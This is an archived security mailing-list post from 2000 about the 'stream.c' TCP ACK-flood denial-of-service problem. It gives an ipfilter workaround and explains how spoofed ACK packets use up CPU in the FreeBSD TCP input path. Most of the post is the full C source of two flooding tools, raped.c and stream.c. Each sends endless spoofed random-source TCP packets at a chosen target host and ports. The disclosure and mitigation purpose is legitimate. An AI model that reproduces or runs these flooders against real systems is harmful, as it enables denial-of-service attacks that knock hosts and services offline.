explanation and code for stream.c issues

From: Tim Yardley (yardleyat_private)
Date: Fri Jan 21 2000 - 09:25:26 PST

  • Next message: Brett Glass: "Quick remedy for stream.c"

    stream.c issues
    
    ---------------------------------------------------
    :: temp remedy (exec summary)
    ---------------------------------------------------
    
    If you use ipfilter...
    
    -- start rule set --
    block in quick proto tcp from any to any head 100
    pass in quick proto tcp from any to any flags S keep state group 100
    pass in all
    -- end rule set --
    
    That will help you "stop" the attack, although it will still use some CPU
    though
    
    Note: If you use IPFW, there is no immediate way to solve this problem due
    to the fact that it is a stateless firewall.  If you are getting attacked,
    then temporarily use ipfilter to stop it.
    
    Otherwise, wait for vendor patches.
    
    FreeBSD "unofficial patch" by Alfred Perlstein:
    http://www.freebsd.org/~alfred/tcp_fix.diff
    
    ------------------------------------------------
    :: explanation of stream.c attack
    ------------------------------------------------
    
    It mearly floods the host with ack's coming from random ips with random
    sequence numbers.  This in itself is not too much of a problem, but rate
    limiting should be done to conteract its effect (the same idea as
    ICMP_BANDLIM).
    
    The attacker specifies the port that they want to send the acks to,
    depending on what ports are selected, you will have different net
    results.  If the port is an open port, then you will have a longer kernel
    path to follow before the drop (at least in freebsd).  Therefore, the smart
    attacker will hit open ports.
    
    Now, speaking specifically in terms of fbsd... this involves
    /sys/netinet/tcp_input.c
    
    In there, it will do a hash lookup on each and every packet in the function
    in_pcblookup_hash().  The wildcard bit was set by default, which would
    cause it to do 2 hash lookups per call, the reasoning is for connected syns
    (ie, recieving a syn during a connected stream already or for open ports)
    
    Since the attackers ack was recieved on something that was not already
    connected... fbsd will drop the packet.  The problem is how they go about
    doing so.  The same holds true for all other os's that I tested on.
    
    Again, in fbsd, the hash call returns a null pointer if it doesnt have a
    corresponding syn then if it isnt past the icmp_bandlim it drops with reset
    otherwise it just drops.  The problem is.. if the attacker hits a port that
    is listening then one of the hash lookups will succeed and that means that
    the packet will not be immediately dropped, it will be processed a little
    first.
    
    Later in the code,
    
    if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) {
    
    that line will cause the ACK attack packet to be dropped after some
    processing because it is not a syn packet (it will drop the packet with a
    RST).  In the meantime, it ate up cpu cycles (checksums were calculated,
    hash lookups, and some other misc things)
    
    Overall it doesnt take much cpu time per packet... but it does take a lot
    of cpu time compared to a null pointer being returned on the hash lookup
    so, when you bombard a host with enough of these ack packets... it uses too
    much CPU and that causes the machine to either exhaust its resources,
    panic, lag horribly, and possibly crash in the end.
    
    In the best case scenario, you will experience only the lag of the flood
    and the lag of the processing (currently) and then be fine when the
    attacker stops,  In the worst case, you reboot.  Once you patch it, you
    deal with a lot less processing time (the drops are handled without the RST
    flag when appropriate -- bandlim type idea).  In other words, you go to the
    drop routine instead of dropwithrst silencing your response, which
    decreases your processing time, the hit on your network, and the effect of
    the flood (once a threshold is reached, all those bad packets are silently
    dropped and the attack has less of a net effect).
    
    -----------------------
    :: conclusion
    -----------------------
    
    Since this is not as big of a deal as what it was made out to be and
    "fixes" exist, I am posting this explanation and code.  I am not the finder
    of the "problem" or the author of stream.c, but full disclosure is a nice
    thing to see.
    
    --------------------
    :: references
    --------------------
    
    This was done independantly, although some of the analysis and reverse
    engineering of concept was done by other people.  As a result, I would like
    to give credit where credit is due.  The following people contributed in
    some way or another:
    
    Brett Glass <brettat_private>
    Alfred Perlstein <brightat_private>
    Warner Losh <impat_private>
    Darren Reed <avalonat_private>
    
    Also, I would like to send shouts out to w00w00 (http://www.w00w00.org/)
    
    -------------------
    :: attached
    -------------------
    There are two things attached, one is stream.c.. the other is raped.c.  I
    threw together raped.c in about 30 minutes or so for the independant
    testing.  A while after I was done testing, I was given a copy of
    stream.c.  It seems as if they both have effects... but they are not
    substantial in my opinion (except in odd cases that I couldn't quite
    explain).  These programs are for the sake of full disclosure, don't abuse
    them.
    
    -- start raped.c --
    /*
      * raped.c by Liquid Steel [lst @ efnet -- yardleyat_private]
      * src:         	this is the old hose.c by prym, modified to suit my purposes
      * exploits:    	the stream.c "problem", not.. i did not have the stream.c
    source when this was written
      *              	this is just a reverse engineer based on discussion and
    tcp patches released.
      * compile:     	this is a 5 minute hack, and a 30 minute test prog, treat
    it as such
      *              	side note, this is obviously only for linux due to the
    header format.
      */
    
    #include <signal.h>
    #include <stdio.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    
    int ports, s, i;
    
    char *dsthost;
    unsigned long dst;
    unsigned long portarray[255];
    
    void
    abort (void)
    {
       printf (":: exiting...\n\n");
       close (s);
       exit (0);
    }
    
    void
    banner (void)
    {
       printf ("-------------------\n");
       printf ("::\n");
       printf (":: raped.c by lst\n");
       printf ("::\n");
       printf ("-------------------\n");
    }
    
    void
    usage (char *progname)
    {
       printf ("usage: %s <dst> <ports>\n", progname);
       printf ("\t<dst>   - destination host\n");
       printf ("\t<ports> - ports to flood\n\n");
       exit (1);
    }
    
    void
    parse_args (int argc, char *argv[])
    {
       dsthost = argv[1];
       for (i = 2; i < argc; i++)
         {
           ports++;
           portarray[ports] = atoi (argv[i]);
         }
    }
    
    unsigned long
    resolve_host (char *h)
    {
       struct hostent *host;
       if ((host = gethostbyname (h)) == NULL)
         {
           printf (":: unknown host %s\n", h);
           exit (1);
         }
       return *(unsigned long *) host->h_addr;
    }
    
    /* stolen from ping.c */
    unsigned short
    in_cksum (u_short * addr, int len)
    {
       register int nleft = len;
       register u_short *w = addr;
       register int sum = 0;
       u_short answer = 0;
       while (nleft > 1)
         {
           sum += *w++;
           nleft -= 2;
         }
       if (nleft == 1)
         {
           *(u_char *) (&answer) = *(u_char *) w;
           sum += answer;
         }
       sum = (sum >> 16) + (sum & 0xffff);
       sum += (sum >> 16);
       answer = ~sum;
       return (answer);
    }
    
    void
    send_tcp_segment (struct iphdr *ip, struct tcphdr *tcp, char *data, int dlen)
    {
       char buf[65536];
       struct
         {
           unsigned long saddr;
           unsigned long daddr;
           char mbz;
           char proto;
           unsigned short tcplength;
         }
       ph;
       struct sockaddr_in sin;
       ph.saddr = ip->saddr;
       ph.daddr = ip->daddr;
       ph.mbz = 0;
       ph.proto = IPPROTO_TCP;
       ph.tcplength = htons (sizeof (*tcp) + dlen);
       memcpy (buf, &ph, sizeof (ph));
       memcpy (buf + sizeof (ph), tcp, sizeof (*tcp));
       memcpy (buf + sizeof (ph) + sizeof (*tcp), data, dlen);
       memset (buf + sizeof (ph) + sizeof (*tcp) + dlen, 0, 4);
    
       tcp->check = in_cksum ((u_short *) buf, (sizeof (ph) + sizeof (*tcp) +
    dlen + 1) & ~1);
    
       memcpy (buf, ip, 4 * ip->ihl);
       memcpy (buf + 4 * ip->ihl, tcp, sizeof (*tcp));
       memcpy (buf + 4 * ip->ihl + sizeof (*tcp), data, dlen);
       memset (buf + 4 * ip->ihl + sizeof (*tcp) + dlen, 0, 4);
    
       ip->check = in_cksum ((u_short *) buf, (4 * ip->ihl + sizeof (*tcp) +
    dlen + 1) & ~1);
    
       memcpy (buf, ip, 4 * ip->ihl);
       sin.sin_family = AF_INET;
       sin.sin_port = tcp->dest;
       sin.sin_addr.s_addr = ip->daddr;
       if (sendto (s, buf, 4 * ip->ihl + sizeof (*tcp) + dlen, 0, &sin, sizeof
    (sin)) < 0)
         {
           perror (":: error: sending syn packet");
           exit (1);
         }
    }
    
    int
    main (int argc, char *argv[])
    {
       struct iphdr ip;
       struct tcphdr tcp;
       struct timeval tv;
       struct sockaddr_in sin;
       int blah = 1;
    
       signal (SIGINT, (void (*)()) abort);
    
       banner ();
    
       if (argc < 3)
         usage (argv[0]);
    
       parse_args (argc, argv);
    
       dst = resolve_host (dsthost);
    
       srand (time (NULL));
    
       printf (":: destination host - %s\n", dsthost);
       printf (":: destination port(s)");
       for (i = 1; i < ports + 1; i++)
         printf (" - %d", portarray[i]);
       printf ("\n");
    
       if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
         {
           perror (":: error: can not open socket");
           exit (1);
         }
    
       if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *) &blah, sizeof
    (blah)) < 0)
         {
           perror (":: setsockopt");
           exit (1);
         }
       ip.version = 4;
       ip.ihl = 5;
       ip.tos = 0x8;
       ip.frag_off = 0;
       ip.ttl = 255;
       ip.protocol = IPPROTO_TCP;
       ip.check = 0;
       ip.daddr = dst;
       tcp.res1 = 0;
       tcp.fin = 0;
       tcp.syn = 0;
       tcp.rst = 0;
       tcp.psh = 0;
       /* make it an ACK packet */
       tcp.ack = 1;
       tcp.urg = 0;
       tcp.res2 = 0;
       tcp.urg_ptr = 0;
       printf (":: raping...\n");
       printf (":: press ^C to end...\n");
       for (;;)
         {
           for (i = 1; i < ports + 1; i++)
    	{
    	  ip.saddr = rand ();
    	  ip.tot_len = sizeof (ip) + sizeof (tcp);
    	  ip.id = htons (random ());
    	  tcp.source = htons (1024 + rand () % 32000);
    	  tcp.dest = htons (portarray[i]);
    	  /* randomize seq */
    	  tcp.seq = random ();
    	  tcp.doff = sizeof (tcp) / 4;
    	  tcp.window = htons (16384);
    	  /* randomize ack */
    	  tcp.ack_seq = random ();
    	  send_tcp_segment (&ip, &tcp, "", 0);
    	}
         }
       return 1;
    }
    -- end raped.c --
    
    -- start stream.c --
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <strings.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #ifndef __USE_BSD
    #define	__USE_BSD
    #endif
    #ifndef __FAVOR_BSD
    #define __FAVOR_BSD
    #endif
    #include <netinet/in_systm.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    
    #ifdef LINUX
    #define FIX(x)	htons(x)
    #else
    #define FIX(x)	(x)
    #endif
    
    struct ip_hdr {
        u_int	ip_hl:4,		/* header length in 32 bit words */
    		ip_v:4;			/* ip version */
        u_char	ip_tos;			/* type of service */
        u_short	ip_len;			/* total packet length */
        u_short	ip_id;			/* identification */
        u_short	ip_off;			/* fragment offset */
        u_char	ip_ttl;			/* time to live */
        u_char	ip_p;			/* protocol */
        u_short	ip_sum;			/* ip checksum */
        u_long	saddr, daddr;		/* source and dest address */
    };
    
    struct tcp_hdr {
        u_short	th_sport;		/* source port */
        u_short	th_dport;		/* destination port */
        u_long	th_seq;			/* sequence number */
        u_long	th_ack;			/* acknowledgement number */
        u_int	th_x2:4,		/* unused */
    		th_off:4;		/* data offset */
        u_char	th_flags;		/* flags field */
        u_short	th_win;			/* window size */
        u_short	th_sum;			/* tcp checksum */
        u_short	th_urp;			/* urgent pointer */
    };
    
    struct tcpopt_hdr {
        u_char  type;			/* type */
        u_char  len;				/* length */
        u_short value;			/* value */
    };
    
    struct pseudo_hdr {			/* See RFC 793 Pseudo Header */
        u_long saddr, daddr;			/* source and dest address */
        u_char mbz, ptcl;			/* zero and protocol */
        u_short tcpl;			/* tcp length */
    };
    
    struct packet {
        struct ip/*_hdr*/ ip;
        struct tcphdr tcp;
    /* struct tcpopt_hdr opt; */
    };
    
    struct cksum {
        struct pseudo_hdr pseudo;
        struct tcphdr tcp;
    };
    
    struct packet packet;
    struct cksum cksum;
    struct sockaddr_in s_in;
    u_short dstport, pktsize, pps;
    u_long dstaddr;
    int sock;
    
    void usage(char *progname)
    {
        fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n",
    progname);
        fprintf(stderr, "    dstaddr  - the target we are trying to attack.\n");
        fprintf(stderr, "    dstport  - the port of the target, 0 = random.\n");
        fprintf(stderr, "    pktsize  - the extra size to use.  0 = normal
    syn.\n");
        exit(1);
    }
    
    /* This is a reference internet checksum implimentation, not very fast */
    inline u_short in_cksum(u_short *addr, int len)
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;
    
         /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
          * sequential 16 bit words to it, and at the end, fold back all the
          * carry bits from the top 16 bits into the lower 16 bits. */
    
         while (nleft > 1)  {
             sum += *w++;
             nleft -= 2;
         }
    
         /* mop up an odd byte, if necessary */
         if (nleft == 1) {
             *(u_char *)(&answer) = *(u_char *) w;
             sum += answer;
         }
    
         /* add back carry outs from top 16 bits to low 16 bits */
         sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
         sum += (sum >> 16);         	/* add carry */
         answer = ~sum;              	/* truncate to 16 bits */
         return(answer);
    }
    
    u_long lookup(char *hostname)
    {
        struct hostent *hp;
    
        if ((hp = gethostbyname(hostname)) == NULL) {
           fprintf(stderr, "Could not resolve %s.\n", hostname);
           exit(1);
        }
    
        return *(u_long *)hp->h_addr;
    }
    
    void flooder(void)
    {
        struct timespec ts;
        int i;
    
        memset(&packet, 0, sizeof(packet));
    
        ts.tv_sec			= 0;
        ts.tv_nsec			= 10;
    
        packet.ip.ip_hl		= 5;
        packet.ip.ip_v		= 4;
        packet.ip.ip_p		= IPPROTO_TCP;
        packet.ip.ip_tos		= 0x08;
        packet.ip.ip_id 		= rand();
        packet.ip.ip_len		= FIX(sizeof(packet));
        packet.ip.ip_off		= 0; /* IP_DF? */
        packet.ip.ip_ttl		= 255;
        packet.ip.ip_dst.s_addr	= dstaddr;
    
        packet.tcp.th_flags		= 0;
        packet.tcp.th_win		= htons(16384);
        packet.tcp.th_seq		= random();
        packet.tcp.th_ack		= 0;
        packet.tcp.th_off		= 5; /* 5 */
        packet.tcp.th_urp		= 0;
        packet.tcp.th_sport		= rand();
        packet.tcp.th_dport		= dstport?htons(dstport):rand();
    
    /*
        packet.opt.type		= 0x02;
        packet.opt.len		= 0x04;
        packet.opt.value		= htons(1460);
    */
    
    
        cksum.pseudo.daddr		= dstaddr;
        cksum.pseudo.mbz		= 0;
        cksum.pseudo.ptcl		= IPPROTO_TCP;
        cksum.pseudo.tcpl		= htons(sizeof(struct tcphdr));
    
        s_in.sin_family		= AF_INET;
        s_in.sin_addr.s_addr		= dstaddr;
        s_in.sin_port		= packet.tcp.th_dport;
    
        for(i=0;;++i) {
        cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
           ++packet.ip.ip_id;
           ++packet.tcp.th_sport;
           ++packet.tcp.th_seq;
    
           if (!dstport)
              s_in.sin_port = packet.tcp.th_dport = rand();
    
           packet.ip.ip_sum		= 0;
           packet.tcp.th_sum		= 0;
    
           cksum.tcp			= packet.tcp;
    
           packet.ip.ip_sum		= in_cksum((void *)&packet.ip, 20);
           packet.tcp.th_sum		= in_cksum((void *)&cksum, sizeof(cksum));
    
           if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr
    *)&s_in, sizeof(s_in)) < 0)
              perror("jess");
    
        }
    }
    
    int main(int argc, char *argv[])
    {
        int on = 1;
    
        printf("stream.c v1.0 - TCP Packet Storm\n");
    
        if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
           perror("socket");
           exit(1);
        }
    
        setgid(getgid()); setuid(getuid());
    
        if (argc < 4)
           usage(argv[0]);
    
        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) <
    0) {
           perror("setsockopt");
           exit(1);
        }
    
        srand((time(NULL) ^ getpid()) + getppid());
    
        printf("\nResolving IPs..."); fflush(stdout);
    
        dstaddr	= lookup(argv[1]);
        dstport	= atoi(argv[2]);
        pktsize	= atoi(argv[3]);
    
        printf("Sending..."); fflush(stdout);
    
        flooder();
    
        return 0;
    }
    
    -- end stream.c --
    
    /tmy
    
    
    -- Diving into infinity my consciousness expands in inverse
        proportion to my distance from singularity
    
    +--------  -------  ------  -----  ---- --- -- ------ --------+
    |  Tim Yardley (yardleyat_private)	
    |  http://www.students.uiuc.edu/~yardley/
    +--------  -------  ------  -----  ---- --- -- ------ --------+
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:29:29 PDT